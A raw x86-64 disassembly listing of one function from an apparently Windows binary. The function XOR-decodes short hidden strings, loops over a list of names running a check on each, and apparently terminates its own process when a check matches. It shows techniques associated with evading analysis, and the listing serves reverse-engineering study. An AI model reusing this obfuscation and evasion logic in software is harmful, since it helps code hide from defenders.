lea rdi, [rbp + 0x430]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x440], xmm0
movaps xmmword [rbp + 0x430], xmm0
lea rcx, [rbp + 0x4f1]
call fcn.1400778d0
test rax, rax
js 0x1400335a9
mov rsi, rax
cmp rax, 0xf
ja 0x140032785
mov qword [rbp + 0x440], rsi
mov qword [rbp + 0x448], 0xf
jmp 0x1400327f9
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x1400327ca
lea rcx, [rbx + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400327e4
lea rcx, [rbx + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x430], rdi
mov qword [rbp + 0x440], rsi
mov qword [rbp + 0x448], rbx
lea rdx, [rbp + 0x4f1]
mov rcx, rdi
mov r8, rsi
call fcn.140091230
add rsi, rdi
mov byte [rsi], 0
lea rdi, [rbp + 0x450]
mov dword [rbp + 0x4d8], 9
lea rsi, [rbp + 0x4dc]
mov byte [rbp + 0x4dc], 0x7f
mov byte [rbp + 0x4dd], 0x6b
mov byte [rbp + 0x4de], 0x6a
mov byte [rbp + 0x4df], 0x6a
mov byte [rbp + 0x4e0], 0x7a
mov byte [rbp + 0x4e1], 0x6b
mov byte [rbp + 0x4e2], 0x56
mov byte [rbp + 0x4e3], 0x23
mov byte [rbp + 0x4e4], 0
movzx eax, byte [rbp + 0x4dc]
mov ecx, dword [rbp + 0x4d8]
xor cl, al
mov byte [rbp + 0x4dc], cl
movzx eax, byte [rbp + 0x4dd]
mov ecx, dword [rbp + 0x4d8]
xor cl, al
mov byte [rbp + 0x4dd], cl
movzx eax, byte [rbp + 0x4de]
mov ecx, dword [rbp + 0x4d8]
xor cl, al
mov byte [rbp + 0x4de], cl
movzx eax, byte [rbp + 0x4df]
mov ecx, dword [rbp + 0x4d8]
xor cl, al
mov byte [rbp + 0x4df], cl
movzx eax, byte [rbp + 0x4e0]
mov ecx, dword [rbp + 0x4d8]
xor cl, al
mov byte [rbp + 0x4e0], cl
movzx eax, byte [rbp + 0x4e1]
mov ecx, dword [rbp + 0x4d8]
xor cl, al
mov byte [rbp + 0x4e1], cl
movzx eax, byte [rbp + 0x4e2]
mov ecx, dword [rbp + 0x4d8]
xor cl, al
mov byte [rbp + 0x4e2], cl
movzx eax, byte [rbp + 0x4e3]
mov ecx, dword [rbp + 0x4d8]
xor cl, al
mov byte [rbp + 0x4e3], cl
mov byte [rbp + 0x4e4], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x460], xmm0
movaps xmmword [rbp + 0x450], xmm0
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x1400335bc
mov rbx, rax
cmp rax, 0xf
ja 0x140032956
mov qword [rbp + 0x460], rbx
mov qword [rbp + 0x468], 0xf
jmp 0x1400329cb
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x14003299c
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400329b6
lea rcx, [r14 + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x450], rdi
mov qword [rbp + 0x460], rbx
mov qword [rbp + 0x468], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140091230
add rbx, rdi
mov byte [rbx], 0
lea rbx, [rbp + 0x470]
mov dword [rbp + 0x560], 9
lea rsi, [rbp + 0x564]
mov eax, dword [rbp + 0x560]
xor al, 0x76
mov byte [rbp + 0x564], al
mov eax, dword [rbp + 0x560]
inc al
xor al, 0x62
mov byte [rbp + 0x565], al
mov eax, dword [rbp + 0x560]
add al, 2
xor al, 0x63
mov byte [rbp + 0x566], al
mov eax, dword [rbp + 0x560]
add al, 3
xor al, 0x63
mov byte [rbp + 0x567], al
mov eax, dword [rbp + 0x560]
add al, 4
xor al, 0x73
mov byte [rbp + 0x568], al
mov eax, dword [rbp + 0x560]
add al, 5
xor al, 0x62
mov byte [rbp + 0x569], al
mov byte [rbp + 0x56a], 0
movzx eax, byte [rbp + 0x564]
mov ecx, dword [rbp + 0x560]
xor cl, al
mov byte [rbp + 0x564], cl
movzx eax, byte [rbp + 0x565]
mov ecx, dword [rbp + 0x560]
inc cl
xor cl, al
mov byte [rbp + 0x565], cl
movzx eax, byte [rbp + 0x566]
mov ecx, dword [rbp + 0x560]
add cl, 2
xor cl, al
mov byte [rbp + 0x566], cl
movzx eax, byte [rbp + 0x567]
mov ecx, dword [rbp + 0x560]
add cl, 3
xor cl, al
mov byte [rbp + 0x567], cl
movzx eax, byte [rbp + 0x568]
mov ecx, dword [rbp + 0x560]
add cl, 4
xor cl, al
mov byte [rbp + 0x568], cl
movzx eax, byte [rbp + 0x569]
mov ecx, dword [rbp + 0x560]
add cl, 5
xor cl, al
mov byte [rbp + 0x569], cl
mov byte [rbp + 0x56a], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x480], xmm0
movaps xmmword [rbp + 0x470], xmm0
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x1400335cf
mov rdi, rax
cmp rax, 0xf
ja 0x140032b2e
mov qword [rbp + 0x480], rdi
mov qword [rbp + 0x488], 0xf
jmp 0x140032ba3
mov rax, rdi
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140032b74
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rbx
call fcn.14005c498
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140032b8e
lea rcx, [r14 + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rbx
call fcn.14005c498
mov rbx, rax
mov qword [rbp + 0x470], rbx
mov qword [rbp + 0x480], rdi
mov qword [rbp + 0x488], r14
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.140091230
add rdi, rbx
mov byte [rdi], 0
lea rax, [rbp + 0x490]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], 0
mov qword [rbp + 0x1c0], rax
lea rdi, [rbp + 0x1f0]
mov qword [rbp + 0x1c8], rdi
lea rcx, [rbp + 0x1d0]
lea r8, [rbp + 0x1c8]
lea r9, [rbp + 0x1c0]
mov edx, 0x15
call fcn.140025c10
mov esi, 0x280
jmp 0x140032c3f
call fcn.14005c4dc
mov qword [rbp + rsi + 0x200], 0
mov qword [rbp + rsi + 0x208], 0xf
mov byte [rbp + rsi + 0x1f0], 0
add rsi, 0xffffffffffffffe0
cmp rsi, 0xffffffffffffffe0
je 0x140032c83
mov rax, qword [rbp + rsi + 0x208]
cmp rax, 0x10
jb 0x140032c15
mov rcx, qword [rbp + rsi + 0x1f0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140032c10
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400333e6
add rax, 0x28
mov rdx, rax
mov rcx, r8
jmp 0x140032c10
mov rbx, qword [rbp + 0x1d0]
mov r14, qword [rbp + 0x1d8]
lea r15, [rbp + 0x201]
lea r13, [rbp + 0x17c5b16]
lea rsi, [rbp + 0xc0]
movaps xmm6, xmmword [0x140093d40]
xorps xmm7, xmm7
jmp 0x140032cd0
mov rcx, rsi
call fcn.140074ff0
test eax, eax
je 0x140032cf0
add rbx, 0x20
cmp rbx, r14
je 0x140033009
cmp qword [rbx + 0x18], 0x10
mov rdx, rbx
jb 0x140032cc0
mov rdx, qword [rbx]
jmp 0x140032cc0
cmp byte [0x1400b42f8], 0
je 0x140032fef
movaps xmmword [rbp + 0x1f0], xmm6
mov byte [rbp + 0x200], 0xfc
movups xmmword [r15 + 0xc], xmm7
movups xmmword [r15], xmm7
call fcn.140044ae0
mov r12, qword [rax]
call fcn.140044af0
mov rcx, qword [rax]
xor eax, eax
jmp 0x140032d4a
mov r8, rcx
movzx edx, r9b
add rax, r8
add rax, rdx
inc rax
cmp rax, 0x2d
jae 0x140032fde
cmp r12, rax
ja 0x140032fd9
movzx r9d, byte [rbp + rax + 0x1f0]
movzx edx, r9b
lea r8, [rcx + 1]
cmp r12, r8
jae 0x140032dc0
cmp rcx, rax
ja 0x140032fe3
lea r10, [rcx + 9]
cmp r12, r10
jb 0x140032e50
cmp r12, r8
jne 0x140032e50
lea ecx, [rax + 0x34c3beb2]
lea r9d, [rax + rdx]
add r9d, 0x34c3beb2
and ecx, edx
add ecx, ecx
sub r9d, ecx
add r9b, 0x22
mov byte [rbp + rax + 0x1f0], r9b
dec rax
mov rcx, r8
jmp 0x140032d3d
je 0x140032d30
lea r10, [rcx + 3]
cmp r12, r10
je 0x140032e77
lea r10, [rcx + 4]
cmp r12, r10
jne 0x140032f07
lea r8d, [rax - 0x7320759a]
lea r9d, [rax + rdx]
add r9d, 0x8cdf8a66
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, 0x36
add r12, rcx
mov r10, r12
lea r8d, [rax - 0x66cb1852]
lea r11d, [rdx + rax]
add r11d, 0x9934e7ae
and r8d, edx
add r8d, r8d
sub r11d, r8d
add r11b, r9b
add r11b, 0x3e
mov byte [rbp + rax + 0x1f0], r11b
movzx edx, r9b
not rdx
add rax, rdx
mov r12, r10
jmp 0x140032d3d
lea r10, [r12 + rcx]
cmp r10, rax
jbe 0x140032eed
lea r9, [rcx + 2]
cmp r12, r9
je 0x140032d88
lea r9, [rcx + 0xa]
cmp r12, r9
jne 0x140032d14
lea r9d, [rax - 0x259ef56]
lea r10d, [rax + rdx]
add r10d, 0xfda610aa
and r9d, edx
add r9d, r9d
sub r10d, r9d
add r10b, 0x5a
mov byte [rbp + rax + 0x1f0], r10b
movzx r9d, r10b
not rcx
add rcx, rax
sub rcx, r9
lea eax, [rcx + 0x2fdea528]
lea r9d, [rcx + rdx]
add r9d, 0x2fdea528
and eax, edx
add eax, eax
sub r9d, eax
add r9b, 0xe8
mov byte [rbp + rcx + 0x1f0], r9b
sub rcx, r12
inc r12
movzx r9d, byte [rbp + rcx + 0x1ee]
add rcx, 0xfffffffffffffffe
mov rax, rcx
mov rcx, r8
jmp 0x140032d33
cmp r12, r8
je 0x140032d88
lea r11, [rcx + 2]
cmp r12, r11
jne 0x140032f19
mov r8, rcx
jmp 0x140032dac
lea r10, [rcx + 2]
cmp r12, r10
jne 0x140032d69
jmp 0x140032dac
lea r11, [rcx + 5]
cmp r12, r11
jne 0x140032f46
lea r8d, [rax - 0x124ed10e]
lea r9d, [rax + rdx]
add r9d, 0xedb12ef2
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, 0x62
jmp 0x140032e2f
cmp r12, 3
ja 0x140032f7c
lea r9, [rcx + 3]
cmp r12, r9
jne 0x140032fa3
lea r8d, [rax + 0xc555d48]
lea r9d, [rax + rdx]
add r9d, 0xc555d48
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, 8
mov r10, r12
jmp 0x140032e2f
lea r8d, [rax + 0x66fc5330]
lea r11d, [rax + rdx]
add r11d, 0x66fc5330
and r8d, edx
add r8d, r8d
sub r11d, r8d
add r9b, r11b
add r9b, 0xb0
jmp 0x140032e05
cmp rcx, 1
ja 0x140032d88
lea r8d, [rax + 0x3238947e]
lea r9d, [rax + rdx]
add r9d, 0x3238947e
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, 0x8e
mov byte [rbp + rax + 0x1f0], r9b
jmp 0x140032d3d
mov rcx, r13
jmp 0x140032fea
mov rcx, rdi
jmp 0x140032fea
lea rcx, [rbp + 0x143c698]
call fcn.140077020
mov r12, qword [0x1400bac08]
call qword [0x1400bab98]
mov rcx, rax
xor edx, edx
call r12
jmp 0x140032ccc
cmp byte [0x1400b42f8], 0
je 0x14003336d
movaps xmm0, xmmword [0x140093d50]
movaps xmmword [rbp + 0x1f0], xmm0
mov dword [rbp + 0x200], 0x93d8deeb
xorps xmm0, xmm0
movups xmmword [rbp + 0x204], xmm0
mov qword [rbp + 0x212], 0
lea rsi, [rbp + 0x1f0]
call fcn.140044ae0
mov rdi, qword [rax]
call fcn.140044af0
mov rcx, qword [rax]
xor eax, eax
jmp 0x1400330ec
lea r8d, [rax + 0x323bc2bb]
lea r9d, [rdx + rax]
add r9d, 0x323bc2bb
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, 0xe3
mov byte [rbp + rax + 0x1f0], r9b
movzx r8d, r9b
not rcx
add rcx, rax
sub rcx, r8
mov rax, rcx
mov rcx, r10
lea r8d, [rax - 0x1512a254]
lea r9d, [rax + rdx]
add r9d, 0xeaed5dac
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, 0x4c
mov byte [rbp + rax + 0x1f0], r9b
sub rax, rdi
inc rdi
movzx r9d, byte [rbp + rax + 0x1ee]
add rax, 0xfffffffffffffffe
movzx edx, r9b
add rax, rcx
add rax, rdx
inc rax
cmp rax, 0x2a
jae 0x140033365
cmp rdi, rax
ja 0x140033355
movzx r9d, byte [rbp + rax + 0x1f0]
movzx edx, r9b
lea r10, [rcx + 1]
cmp rdi, r10
jae 0x140033160
cmp rcx, rax
ja 0x14003335e
lea r8, [rdi + rcx]
cmp r8, rax
jbe 0x1400331b0
lea r10, [rcx + 0xa]
cmp rdi, r10
je 0x1400331dc
lea r10, [rcx + 0x20]
cmp rdi, r10
jne 0x14003327d
lea r10d, [rax - 0x4f85cacc]
lea r9d, [rax + rdx]
add r9d, 0xb07a3534
and r10d, edx
add r10d, r10d
sub r9d, r10d
add r9b, 0x94
jmp 0x140033244
je 0x1400330d5
lea r8, [rcx + 3]
cmp rdi, r8
je 0x140033061
lea r8, [rcx + 2]
cmp rdi, r8
jne 0x140033212
lea r8d, [rax + 0x7e3e7279]
lea r9d, [rax + rdx]
add r9d, 0x7e3e7279
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, 0xb1
jmp 0x140033271
cmp rdi, r10
jne 0x1400331e4
lea ecx, [rax + 0x4f7556f7]
lea r8d, [rdx + rax]
add r8d, 0x4f7556f7
and ecx, edx
add ecx, ecx
sub r8d, ecx
add r8b, 0x3f
mov byte [rbp + rax + 0x1f0], r8b
mov rcx, r10
dec rax
jmp 0x1400330df
lea r11, [rcx + 2]
cmp rdi, r11
jne 0x1400332a7
lea r10d, [rax - 0x38213d0b]
lea r9d, [rax + rdx]
add r9d, 0xc7dec2f5
and r10d, edx
add r10d, r10d
sub r9d, r10d
add r9b, 0x4d
jmp 0x140033244
lea r8, [rcx + 5]
cmp rdi, r8
jne 0x1400332d1
lea r8d, [rax + 0x6104de3d]
lea r9d, [rax + rdx]
add r9d, 0x6104de3d
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, 0x55
add rdi, rcx
mov r8, rdi
lea r10d, [rax - 0x3f277327]
lea r11d, [rdx + rax]
add r11d, 0xc0d88cd9
and r10d, edx
add r10d, r10d
sub r11d, r10d
add r11b, r9b
add r11b, 0x11
mov byte [rbp + rax + 0x1f0], r11b
mov rdi, r8
movzx edx, r9b
not rdx
jmp 0x1400330dc
lea r10, [rcx + 4]
cmp rdi, r10
jne 0x1400332e3
lea r10d, [rax + 0x21dd6b16]
lea r9d, [rax + rdx]
add r9d, 0x21dd6b16
and r10d, edx
add r10d, r10d
sub r9d, r10d
add r9b, 0x66
jmp 0x14003326e
lea r11, [rcx + 5]
cmp rdi, r11
jne 0x140033302
lea r10d, [rax + 0x3941f8d7]
lea r9d, [rax + rdx]
add r9d, 0x3941f8d7
and r10d, edx
add r10d, r10d
sub r9d, r10d
add r9b, 0x1f
jmp 0x14003326e
lea r8, [rcx + 6]
cmp rdi, r8
jne 0x14003310b
jmp 0x1400331b5
lea r8, [rcx + 9]
cmp rdi, r8
je 0x14003309b
lea rdx, [rcx + 0x10]
cmp rdi, rdx
je 0x1400330d5
jmp 0x14003304a
lea r8, [rcx + 4]
cmp rdi, r8
je 0x140033061
lea r8, [rcx + 7]
cmp rdi, r8
je 0x1400330d5
lea r8, [rcx + 3]
cmp rdi, r8
je 0x140033061
lea r8d, [rax - 0x474e650f]
lea r9d, [rax + rdx]
add r9d, 0xb8b19af1
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, 0x69
mov byte [rbp + rax + 0x1f0], r9b
jmp 0x1400330df
lea rsi, [rbp + 0x45b6cd]
jmp 0x140033365
lea rsi, [rbp + 0x1541bdc]
mov rcx, rsi
call fcn.140077020
mov rsi, qword [rbp + 0x1d0]
test rsi, rsi
je 0x140033425
mov rdi, qword [rbp + 0x1d8]
cmp rsi, rdi
jne 0x1400333bb
jmp 0x1400333f2
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14005c4dc
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
add rsi, 0x20
cmp rsi, rdi
je 0x1400333eb
mov rax, qword [rsi + 0x18]
cmp rax, 0x10
jb 0x14003339f
mov rcx, qword [rsi]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14003339a
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jb 0x140033390
call fcn.14007477c
mov rsi, qword [rbp + 0x1d0]
mov rdx, qword [rbp + 0x1e0]
sub rdx, rsi
cmp rdx, 0x1000
jb 0x14003341d
mov rax, qword [rsi - 8]
add rsi, 0xfffffffffffffff8
sub rsi, rax
cmp rsi, 0x20
jae 0x1400333e6
add rdx, 0x27
mov rsi, rax
mov rcx, rsi
call fcn.14005c4dc
movaps xmm6, xmmword [rbp + 0x5c0]
movaps xmm7, xmmword [rbp + 0x5d0]
add rsp, 0x668
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
lea rax, [rbp + 0x1f0]
mov qword [rbp + 0x5a8], rax
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.140025bf0
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rbx
call fcn.140025bf0
int3